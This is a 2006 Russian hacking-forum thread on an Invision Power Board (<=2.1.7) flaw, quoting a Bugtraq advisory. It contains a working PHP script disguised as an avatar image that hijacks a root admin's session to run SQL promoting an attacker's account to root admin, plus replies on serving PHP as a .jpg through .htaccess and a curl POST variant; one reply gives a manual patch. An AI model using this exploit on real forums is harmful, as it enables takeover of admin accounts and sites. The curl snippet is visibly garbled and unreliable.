Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   sql-inj в ipb <=2.1.7 (https://forum.antichat.xyz/showthread.php?t=25088)

Digimortal 09.10.2006 00:31

sql-inj в ipb <=2.1.7
 
Итак, в среду на багтраке появилось сообщение об уязвимости IPB <=2.1.7.
Уязвимым оказался скрипт кп админки. Если поставить вместо ссылки на аватару ссылку на пхп-сплоит, то при просмотре админом (это должен быть рут-админ) акка пользователя через контрпанельку имеется возможность выполнить скуль-комманды через IPB's SQL Toolbox.

Вот сам текст с багтрака:

Цитата:

From: Rapigator <rapigator_at_yahoo.com>
Date: Wed, 4 Oct 2006 11:58:38 -0700 (PDT)

Invision Power Board Multiple Vulnerabilities
Affects: IPB <=2.1.7
Risk: High

An attack exists where an admin can be redirected and
forced to execute SQL commands through IPB's SQL
Toolbox.

The following requirements must be met for this attack
to take place:
- The database table prefix must be known
- The admin must have access to the SQL Toolbox (any
"root admin")
- The admin must have images and referers turned on in
their browser, and their browser must follow Location
headers (default behaviour for most browsers)
- The admin must view a malicious script as an image
in their browser.

This attack works invisibly to the admin because only
the image is redirected, not the page.


1st method:
In this method, any user can force the admin to
execute SQL commands.

1. A user sets their avatar to the malicious script's
address
2. The admin looks up the user's account in the Admin
CP
3. The user's avatar is shown and the admin is
redirected....


2nd method:
A restricted admin can add any HTML to a forum's
description(including javascript).

1. A restricted admin adds the malicious script as an
image to a forum's description.
2. Upon going to the "Manage Forums" link in Admin CP,
an unrestricted admin will be redirected and the SQL
will be executed.


Example malicious image script:
<?php

//The member id to promote to root admin
$mid = 145;

//The database prefix (usually "ibf_")
$prefix = "ibf_";

if (preg_match('/(.*adsess=[\\w]{32})/',
$_SERVER['HTTP_REFERER'], $admin_loc) and $mid)
{
header("Location:
".$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+{$prefix}membe rs+SET+mgroup%3D4+where+id%3D{$mid}+LIMIT+1");
}

?>

http://seclists.org/bugtraq/2006/Oct/0049.html
Уязвимы версии:
Invision Power Board 2.0.x
Invision Power Board 2.1.0 - 2.1.7
Invision Power Board 2.2 Beta 1

Неуязвимы:
Invision Power Board 2.1.7 (ID: 21013.61005.s)
Invision Power Board 2.2 Beta 2

Делитесь тут мыслями по поводу этой баги. Сам я еще не испытывал..

gemaglabin 09.10.2006 00:34

Бугага ;) в Sql Toolboxе запрос передается ПОСТом..несколькими днями ранее я говорил с амером с милворма он мне про это рассказывал ;)

_-[A.M.D]HiM@S-_ 09.10.2006 02:42

Я немогу понять тут $mid = 145; надо прописать id Рута или id свой ???

Qwazar 09.10.2006 09:11

Судя по "SET mgroup=4" (SET+mgroup%3D4) - свой. (Не помню, вроде 4 это и есть права админа, которые устанавливаются для мембера с mid=$mid).

З.Ы.
Вообще там есть коммент:
//The member id to promote to root admin

(ну это для тех, чей мозговой парсер комменты не пропускает)

Rebz 09.10.2006 14:32

единственное решение можно предложить - поменять группу админов с 4 на какую-нить другую. Вряд ли злоумышленник (кидис который даже не въехал как работает сплоит, имхо 80% таких) нифига ничего не получит -)

Rebz 09.10.2006 14:37

Заплатка для ipb IPB 2.1.x
 
Ручное исправление уязвимостей от 05.10.06

Файл ./sources/action_admin/member.php, найти код:
Код
Код:

            //-----------------------------------------
            // Avatar?
            //-----------------------------------------

            if ( $r['avatar_location'] and $r['avatar_type'] )
            {
                $avatar = $this->ipsclass->get_avatar( $r['avatar_location'], 1, '25x25', $r['avatar_type'] );

                if ( ! strstr( $avatar, 'width=' ) )
                {
                    $avatar = str_replace( '<img', "<img width='25' height='25'", $avatar );
                }
            }
            else
            {
                $avatar = "<img src='{$this->ipsclass->skin_url}/images/memsearch_head.gif' border='0' />";
            }

заменить на:
Код
Код:

            //-----------------------------------------
            // Avatar?
            //-----------------------------------------

            //-----------------------------------------
            // SECURITY UPDATE: Removing  user avatar
            //-----------------------------------------

            $avatar = "<img src='{$this->ipsclass->skin_url}/images/memsearch_head.gif' border='0' />";

источник:
http://www.ibresource.ru/forums/index.php?showtopic=36607

BMaster 09.10.2006 19:01

Подскажите что не так пожалуйста:
скрипт выполняется как картинка, т.е http://localhost/g.jpg кажет phpinfo(); ;)

На форуме редактирую профиль, указываю в поле "Введите ссылку на файл вашего аватара" ссылку, потом захожу под руут админом, смотрю профиль юзера тестера, перехода не происходит, и запросы не выполняются, show table; аналогично нигде не выполняется, что не так?
p.s просматривая профиль тестер юзера в админпанеле, тоже редиректа не происходит, даже если правой кнопкой щелкнуть на открыть изображение, запросы не выполняются.

arts 09.10.2006 21:09

А как картинку с пчп кодом сделать?

BMaster 09.10.2006 21:29

Переименовать пхп файл, в *.jpg gif..
в .htaccess добавить
<Files "u.jpg">
AddType application/x-httpd-php .jpg
</Files>
либо на край в httpd.conf добавить к application/x-httpd-php тип .jpg :)

Qwazar 10.10.2006 09:59

Сам не пробовал, но если то что написано тут:

Цитата:

Сообщение от gemaglabin
Бугага ;) в Sql Toolboxе запрос передается ПОСТом..несколькими днями ранее я говорил с амером с милворма он мне про это рассказывал ;)

является правдой, то, если я не ошибаюсь, нужно использовать curl, пример:

PHP код:

<?php 
$ch 
curl_init();  
curl_setopt($chCURLOPT_URL,$url);  
curl_setopt($chCURLOPT_POST1);  
curl_setopt($chCURLOPT_POSTFIELDS$fields);  
curl_exec ($ch);  
curl_close ($ch);  
?>



Время: 13:26